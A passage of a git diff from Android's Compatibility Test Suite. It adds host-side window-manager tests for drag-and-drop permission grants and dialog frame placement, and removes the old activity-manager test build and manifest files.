+        executeShellCommand(getStartCommand(componentName, mode) + " --stack " + DOCKED_STACK_ID);
+        waitForResume(packageName, activityName);
+    }
+
+    private void launchFullscreenActivity(String packageName, String activityName, String mode)
+            throws Exception {
+        clearLogs();
+        final String componentName = getComponentName(packageName, activityName);
+        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
+                + FULLSCREEN_WORKSPACE_STACK_ID);
+        waitForResume(packageName, activityName);
+    }
+
+    /**
+     * @param displaySize size of the display
+     * @param leftSide {@code true} to launch the app taking up the left half of the display,
+     *         {@code false} to launch the app taking up the right half of the display.
+     */
+    private void launchFreeformActivity(String packageName, String activityName, String mode,
+            Point displaySize, boolean leftSide) throws Exception{
+        clearLogs();
+        final String componentName = getComponentName(packageName, activityName);
+        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
+                + FREEFORM_WORKSPACE_STACK_ID);
+        waitForResume(packageName, activityName);
+        Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
+        Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
+        executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
+                bottomRight));
+    }
+
+    private void waitForResume(String packageName, String activityName) throws Exception {
+        final String fullActivityName = packageName + "." + activityName;
+        int retryCount = 3;
+        do {
+            Thread.sleep(500);
+            String logs = executeShellCommand("logcat -d -b events");
+            for (String line : logs.split("\\n")) {
+                if(line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
+                    return;
+                }
+            }
+        } while (retryCount-- > 0);
+
+        throw new Exception(fullActivityName + " has failed to start");
+    }
+
+    private void injectInput(Point from, Point to, int durationMs) throws Exception {
+        executeShellCommand(
+                INPUT_MOUSE_SWIPE + from.x + " " + from.y + " " + to.x + " " + to.y + " " +
+                durationMs);
+    }
+
+    static class Point {
+        public int x, y;
+
+        public Point(int _x, int _y) {
+            x=_x;
+            y=_y;
+        }
+
+        public Point() {}
+    }
+
+    private String findTaskInfo(String name) throws Exception {
+        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
+        final String output = outputReceiver.getOutput();
+        final StringBuilder builder = new StringBuilder();
+        builder.append("Finding task info for task: ");
+        builder.append(name);
+        builder.append("\nParsing adb shell am output: " );
+        builder.append(output);
+        CLog.i(builder.toString());
+        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
+        for (String line : output.split("\\n")) {
+            final String truncatedLine;
+            // Only look for the activity name before the "topActivity" string.
+            final int pos = line.indexOf("topActivity");
+            if (pos > 0) {
+                truncatedLine = line.substring(0, pos);
+            } else {
+                truncatedLine = line;
+            }
+            if (pattern.matcher(truncatedLine).find()) {
+                return truncatedLine;
+            }
+        }
+        return "";
+    }
+
+    private boolean getWindowBounds(String name, Point from, Point to) throws Exception {
+        final String taskInfo = findTaskInfo(name);
+        final String[] sections = taskInfo.split("\\[");
+        if (sections.length > 2) {
+            try {
+                parsePoint(sections[1], from);
+                parsePoint(sections[2], to);
+                return true;
+            } catch (Exception e) {
+                return false;
+            }
+        }
+        return false;
+    }
+
+    private int getActivityTaskId(String name) throws Exception {
+        final String taskInfo = findTaskInfo(name);
+        for (String word : taskInfo.split("\\s+")) {
+            if (word.startsWith(TASK_ID_PREFIX)) {
+                final String withColon = word.split("=")[1];
+                return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+            }
+        }
+        return -1;
+    }
+
+    private Point getDisplaySize() throws Exception {
+        final String output = executeShellCommand("wm size");
+        final String[] sizes = output.split(" ")[2].split("x");
+        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
+    }
+
+    private Point getWindowCenter(String name) throws Exception {
+        Point p1 = new Point();
+        Point p2 = new Point();
+        if (getWindowBounds(name, p1, p2)) {
+            return new Point((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);
+        }
+        return null;
+    }
+
+    private void parsePoint(String string, Point point) {
+        final String[] parts = string.split("[,|\\]]");
+        point.x = Integer.parseInt(parts[0]);
+        point.y = Integer.parseInt(parts[1]);
+    }
+
+    private void unlockDevice() throws DeviceNotAvailableException {
+        // Wake up the device, if necessary.
+        executeShellCommand("input keyevent 224");
+        // Unlock the screen.
+        executeShellCommand("input keyevent 82");
+    }
+
+    private Map<String, String> getLogResults(String className, String lastResultKey)
+            throws Exception {
+        int retryCount = 10;
+        Map<String, String> output = new HashMap<String, String>();
+        do {
+
+            String logs = executeShellCommand("logcat -v brief -d " + className + ":I" + " *:S");
+            for (String line : logs.split("\\n")) {
+                if (line.startsWith("I/" + className)) {
+                    String payload = line.split(":")[1].trim();
+                    final String[] split = payload.split("=");
+                    if (split.length > 1) {
+                        output.put(split[0], split[1]);
+                    }
+                }
+            }
+            if (output.containsKey(lastResultKey)) {
+                return output;
+            }
+        } while (retryCount-- > 0);
+        return output;
+    }
+
+    private void assertDropResult(String sourceMode, String targetMode, String expectedDropResult)
+            throws Exception {
+        assertDragAndDropResults(sourceMode, targetMode, RESULT_OK, expectedDropResult, RESULT_OK);
+    }
+
+    private void assertNoGlobalDragEvents(String sourceMode, String expectedStartDragResult)
+            throws Exception {
+        assertDragAndDropResults(
+                sourceMode, REQUEST_NONE, expectedStartDragResult, RESULT_MISSING, RESULT_MISSING);
+    }
+
+    private void assertDragAndDropResults(String sourceMode, String targetMode,
+                                          String expectedStartDragResult, String expectedDropResult,
+                                          String expectedListenerResults) throws Exception {
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        if (supportsSplitScreenMultiWindow()) {
+            launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
+            launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
+        } else if (supportsFreeformMultiWindow()) {
+            // Fallback to try to launch two freeform windows side by side.
+            Point displaySize = getDisplaySize();
+            launchFreeformActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode,
+                    displaySize, true /* leftSide */);
+            launchFreeformActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode,
+                    displaySize, false /* leftSide */);
+        } else {
+            return;
+        }
+
+        clearLogs();
+
+        injectInput(
+                getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME)),
+                getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME)),
+                SWIPE_DURATION_MS);
+
+        mSourceResults = getLogResults(SOURCE_LOG_TAG, RESULT_KEY_START_DRAG);
+        assertSourceResult(RESULT_KEY_START_DRAG, expectedStartDragResult);
+
+        mTargetResults = getLogResults(TARGET_LOG_TAG, RESULT_KEY_DRAG_ENDED);
+        assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
+        if (!RESULT_MISSING.equals(expectedDropResult)) {
+            assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
+            assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
+        }
+        assertListenerResults(expectedListenerResults);
+    }
+
+    private void assertListenerResults(String expectedResult) throws Exception {
+        assertTargetResult(RESULT_KEY_DRAG_STARTED, expectedResult);
+        assertTargetResult(RESULT_KEY_DRAG_ENDED, expectedResult);
+        assertTargetResult(RESULT_KEY_EXTRAS, expectedResult);
+
+        assertTargetResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
+        assertTargetResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING);
+        assertTargetResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_MISSING);
+    }
+
+    private void assertSourceResult(String resultKey, String expectedResult) throws Exception {
+        assertResult(mSourceResults, resultKey, expectedResult);
+    }
+
+    private void assertTargetResult(String resultKey, String expectedResult) throws Exception {
+        assertResult(mTargetResults, resultKey, expectedResult);
+    }
+
+    private void assertResult(Map<String, String> results, String resultKey, String expectedResult)
+            throws Exception {
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        if (RESULT_MISSING.equals(expectedResult)) {
+            if (results.containsKey(resultKey)) {
+                fail("Unexpected " + resultKey + "=" + results.get(resultKey));
+            }
+        } else {
+            assertTrue("Missing " + resultKey, results.containsKey(resultKey));
+            assertEquals(resultKey + " result mismatch,", expectedResult,
+                    results.get(resultKey));
+        }
+    }
+
+    private boolean supportsDragAndDrop() throws Exception {
+        String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
+        if ("true".equals(supportsMultiwindow)) {
+            return true;
+        } else if ("false".equals(supportsMultiwindow)) {
+            return false;
+        } else {
+            throw new Exception(
+                    "device does not support \"am supports-multiwindow\" shell command.");
+        }
+    }
+
+    private boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
+        return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
+    }
+
+    private boolean supportsFreeformMultiWindow() throws DeviceNotAvailableException {
+        return mDevice.hasFeature("feature:android.software.freeform_window_management");
+    }
+
+    public void testCancelSoon() throws Exception {
+        assertDropResult(CANCEL_SOON, REQUEST_NONE, RESULT_MISSING);
+    }
+
+    public void testDisallowGlobal() throws Exception {
+        assertNoGlobalDragEvents(DISALLOW_GLOBAL, RESULT_OK);
+    }
+
+    public void testDisallowGlobalBelowSdk24() throws Exception {
+        mTargetPackageName = TARGET_23_PACKAGE_NAME;
+        assertNoGlobalDragEvents(GRANT_NONE, RESULT_OK);
+    }
+
+    public void testFileUriLocal() throws Exception {
+        assertNoGlobalDragEvents(FILE_LOCAL, RESULT_OK);
+    }
+
+    public void testFileUriGlobal() throws Exception {
+        assertNoGlobalDragEvents(FILE_GLOBAL, RESULT_EXCEPTION);
+    }
+
+    public void testGrantNoneRequestNone() throws Exception {
+        assertDropResult(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
+    }
+
+    public void testGrantNoneRequestRead() throws Exception {
+        assertDropResult(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
+    }
+
+    public void testGrantNoneRequestWrite() throws Exception {
+        assertDropResult(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
+    }
+
+    public void testGrantReadRequestNone() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
+    }
+
+    public void testGrantReadRequestRead() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_READ, RESULT_OK);
+    }
+
+    public void testGrantReadRequestWrite() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
+    }
+
+    public void testGrantReadNoPrefixRequestReadNested() throws Exception {
+        assertDropResult(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
+    }
+
+    public void testGrantReadPrefixRequestReadNested() throws Exception {
+        assertDropResult(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
+    }
+
+    public void testGrantPersistableRequestTakePersistable() throws Exception {
+        assertDropResult(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
+    }
+
+    public void testGrantReadRequestTakePersistable() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
+    }
+
+    public void testGrantWriteRequestNone() throws Exception {
+        assertDropResult(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
+    }
+
+    public void testGrantWriteRequestRead() throws Exception {
+        assertDropResult(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
+    }
+
+    public void testGrantWriteRequestWrite() throws Exception {
+        assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
new file mode 100644
index 0000000..6fb5fbd
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import java.util.List;
+import java.util.ArrayList;
+import java.awt.Rectangle;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import android.server.cts.WindowManagerState.WindowState;
+
+public class DialogFrameTests extends ParentChildTestBase {
+    private List<WindowState> mWindowList = new ArrayList();
+
+    @Override
+    String intentKey() {
+        return "android.server.FrameTestApp.DialogTestCase";
+    }
+
+    @Override
+    String activityName() {
+        return "DialogTestActivity";
+    }
+
+    WindowState getSingleWindow(String windowName) {
+        try {
+            mAmWmState.getWmState().getMatchingVisibleWindowState(
+                    getBaseWindowName() + windowName, mWindowList);
+            return mWindowList.get(0);
+        } catch (Exception e) {
+            CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + windowName);
+            return null;
+        }
+    }
+
+    void doSingleTest(ParentChildTest t) throws Exception {
+        final String[] waitForVisible = new String[] { "TestDialog" };
+
+        mAmWmState.computeState(mDevice, waitForVisible);
+        WindowState dialog = getSingleWindow("TestDialog");
+        WindowState parent = getSingleWindow("DialogTestActivity");
+
+        t.doTest(parent, dialog);
+    }
+
+    // With Width and Height as MATCH_PARENT we should fill
+    // the same content frame as the main activity window
+    public void testMatchParentDialog() throws Exception {
+        doParentChildTest("MatchParent",
+            (WindowState parent, WindowState dialog) -> {
+                assertEquals(parent.getContentFrame(), dialog.getFrame());
+            });
+    }
+
+    // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
+    // we will not be constrained to the insets and so we will be the same size
+    // as the main window main frame.
+    public void testMatchParentDialogLayoutInOverscan() throws Exception {
+        doParentChildTest("MatchParentLayoutInOverscan",
+            (WindowState parent, WindowState dialog) -> {
+                assertEquals(parent.getFrame(), dialog.getFrame());
+            });
+    }
+
+    static final int explicitDimension = 200;
+
+    // The default gravity for dialogs should center them.
+    public void testExplicitSizeDefaultGravity() throws Exception {
+        doParentChildTest("ExplicitSize",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle contentFrame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(
+                        contentFrame.x + (contentFrame.width - explicitDimension)/2,
+                        contentFrame.y + (contentFrame.height - explicitDimension)/2,
+                        explicitDimension, explicitDimension);
+                assertEquals(expectedFrame, dialog.getFrame());
+            });
+    }
+
+    public void testExplicitSizeTopLeftGravity() throws Exception {
+        doParentChildTest("ExplicitSizeTopLeftGravity",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle contentFrame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(
+                        contentFrame.x,
+                        contentFrame.y,
+                        explicitDimension,
+                        explicitDimension);
+                assertEquals(expectedFrame, dialog.getFrame());
+            });
+    }
+
+    public void testExplicitSizeBottomRightGravity() throws Exception {
+        doParentChildTest("ExplicitSizeBottomRightGravity",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle contentFrame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(
+                        contentFrame.x + contentFrame.width - explicitDimension,
+                        contentFrame.y + contentFrame.height - explicitDimension,
+                        explicitDimension, explicitDimension);
+                assertEquals(expectedFrame, dialog.getFrame());
+            });
+    }
+
+    // TODO: Commented out for now because it doesn't work. We end up
+    // insetting the decor on the bottom. I think this is a bug
+    // probably in the default dialog flags:
+    // b/30127373
+    //    public void testOversizedDimensions() throws Exception {
+    //        doParentChildTest("OversizedDimensions",
+    //            (WindowState parent, WindowState dialog) -> {
+    // With the default flags oversize should result in clipping to
+    // parent frame.
+    //                assertEquals(parent.getContentFrame(), dialog.getFrame());
+    //         });
+    //    }
+
+    static final int oversizedDimension = 5000;
+    // With FLAG_LAYOUT_NO_LIMITS  we should get the size we request, even if its much
+    // larger than the screen.
+    public void testOversizedDimensionsNoLimits() throws Exception {
+        // TODO(b/36890978): We only run this in fullscreen because of the
+        // unclear status of NO_LIMITS for non-child surfaces in MW modes
+        doFullscreenTest("OversizedDimensionsNoLimits",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle contentFrame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(contentFrame.x, contentFrame.y,
+                        oversizedDimension, oversizedDimension);
+                assertEquals(expectedFrame, dialog.getFrame());
+            });
+    }
+
+    // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
+    // able to fit all of our content, so we should be adjusted to just fit the
+    // content frame.
+    public void testExplicitPositionMatchParent() throws Exception {
+        doParentChildTest("ExplicitPositionMatchParent",
+             (WindowState parent, WindowState dialog) -> {
+                    assertEquals(parent.getContentFrame(),
+                            dialog.getFrame());
+             });
+    }
+
+    // Unless we pass NO_LIMITS in which case our requested position should
+    // be honored.
+    public void testExplicitPositionMatchParentNoLimits() throws Exception {
+        final int explicitPosition = 100;
+        doParentChildTest("ExplicitPositionMatchParentNoLimits",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle contentFrame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(contentFrame.x + explicitPosition,
+                        contentFrame.y + explicitPosition,
+                        contentFrame.width,
+                        contentFrame.height);
+            });
+    }
+
+    // We run the two focus tests fullscreen only because switching to the
+    // docked stack will strip away focus from the task anyway.
+    public void testDialogReceivesFocus() throws Exception {
+        doFullscreenTest("MatchParent",
+            (WindowState parent, WindowState dialog) -> {
+                assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
+        });
+    }
+
+    public void testNoFocusDialog() throws Exception {
+        doFullscreenTest("NoFocus",
+            (WindowState parent, WindowState dialog) -> {
+                assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
+        });
+    }
+
+    public void testMarginsArePercentagesOfContentFrame() throws Exception {
+        float horizontalMargin = .25f;
+        float verticalMargin = .35f;
+        doParentChildTest("WithMargins",
+            (WindowState parent, WindowState dialog) -> {
+                Rectangle frame = parent.getContentFrame();
+                Rectangle expectedFrame = new Rectangle(
+                        (int)(horizontalMargin*frame.width + frame.x),
+                        (int)(verticalMargin*frame.height + frame.y),
+                        explicitDimension,
+                        explicitDimension);
+                assertEquals(expectedFrame, dialog.getFrame());
+                });
+    }
+
+    public void testDialogPlacedAboveParent() throws Exception {
+        doParentChildTest("MatchParent",
+            (WindowState parent, WindowState dialog) -> {
+                // Not only should the dialog be higher, but it should be
+                // leave multiple layers of space inbetween for DimLayers,
+                // etc...
+                assertTrue(dialog.getLayer() - parent.getLayer() >= 5);
+        });
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
new file mode 100644
index 0000000..5518f08
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.server.cts.WindowManagerState.WindowState;
+import android.server.cts.ActivityManagerTestBase;
+
+public abstract class ParentChildTestBase extends ActivityManagerTestBase {
+    private static final String COMPONENT_NAME = "android.server.FrameTestApp";
+
+    interface ParentChildTest {
+        void doTest(WindowState parent, WindowState child);
+    }
+
+    public void startTestCase(String testCase) throws Exception {
+        setComponentName(COMPONENT_NAME);
+        String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
+        CLog.logAndDisplay(LogLevel.INFO, cmd);
+        executeShellCommand(cmd);
+    }
+
+    public void startTestCaseDocked(String testCase) throws Exception {
+        setComponentName(COMPONENT_NAME);
+        String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
+        CLog.logAndDisplay(LogLevel.INFO, cmd);
+        executeShellCommand(cmd);
+        moveActivityToDockStack(activityName());
+    }
+
+    abstract String intentKey();
+    abstract String activityName();
+
+    abstract void doSingleTest(ParentChildTest t) throws Exception;
+
+    void doFullscreenTest(String testCase, ParentChildTest t) throws Exception {
+        CLog.logAndDisplay(LogLevel.INFO, "Running test fullscreen");
+        startTestCase(testCase);
+        doSingleTest(t);
+        stopTestCase();
+    }
+
+    void doDockedTest(String testCase, ParentChildTest t) throws Exception {
+        CLog.logAndDisplay(LogLevel.INFO, "Running test docked");
+        startTestCaseDocked(testCase);
+        doSingleTest(t);
+        stopTestCase();
+    }
+
+    void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
+        doFullscreenTest(testCase, t);
+        doDockedTest(testCase, t);
+    }
+}
diff --git a/hostsidetests/services/activitymanager/Android.mk b/hostsidetests/services/activitymanager/Android.mk
deleted file mode 100644
index 51a6ed4..0000000
--- a/hostsidetests/services/activitymanager/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsServicesHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_CTS_TEST_PACKAGE := android.server
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activitymanager/AndroidTest.xml b/hostsidetests/services/activitymanager/AndroidTest.xml
deleted file mode 100644
index 3a2f575..0000000
--- a/hostsidetests/services/activitymanager/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Sample host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
-        <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsServicesHostTestCases.jar" />
-        <option name="runtime-hint" value="4m7s" />
-    </test>
-</configuration>
diff --git a/hostsidetests/services/activitymanager/app/Android.mk b/hostsidetests/services/activitymanager/app/Android.mk
deleted file mode 100644
index e22ace8..0000000
--- a/hostsidetests/services/activitymanager/app/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PACKAGE_NAME := CtsDeviceServicesTestApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activitymanager/app/AndroidManifest.xml
deleted file mode 100755
index 8af5ede..0000000
--- a/hostsidetests/services/activitymanager/app/AndroidManifest.xml
+++ /dev/null
@@ -1,180 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.app">
-
-    <application>
-        <activity android:name=".TestActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
-        <activity android:name=".ResizeableActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-        />
-        <activity android:name=".NonResizeableActivity"
-                android:resizeableActivity="false"
-                android:exported="true"
-        />
-        <activity android:name=".DockedActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.DockedActivity"
-        />
-        <activity android:name=".TranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar"
-            android:resizeableActivity="true"
-            android:taskAffinity="nobody.but.TranslucentActivity"
-            android:exported="true"
-        />
-        <activity android:name=".NoRelaunchActivity"
-                android:resizeableActivity="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale"
-                android:exported="true"
-                android:taskAffinity="nobody.but.NoRelaunchActivity"
-        />
-        <activity android:name=".SlowCreateActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
-        <activity android:name=".LaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchToSideActivity"
-        />
-        <activity android:name=".PipActivity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:exported="true"
-        />
-        <activity android:name=".AutoEnterPipActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
-        <activity android:name=".AlwaysFocusablePipActivity"
-                  android:theme="@style/Theme.Transparent"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
-        />
-        <activity android:name=".LaunchIntoPinnedStackPipActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
-        <activity android:name=".VisibleBehindActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.VisibleBehindActivity"
-        />
-        <activity android:name=".LaunchPipOnPipActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="true"
-                  android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-        />
-        <activity android:name=".FreeformActivity"
-                  android:resizeableActivity="true"
-                  android:taskAffinity="nobody.but.FreeformActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".TopLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="top|left"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".TopRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
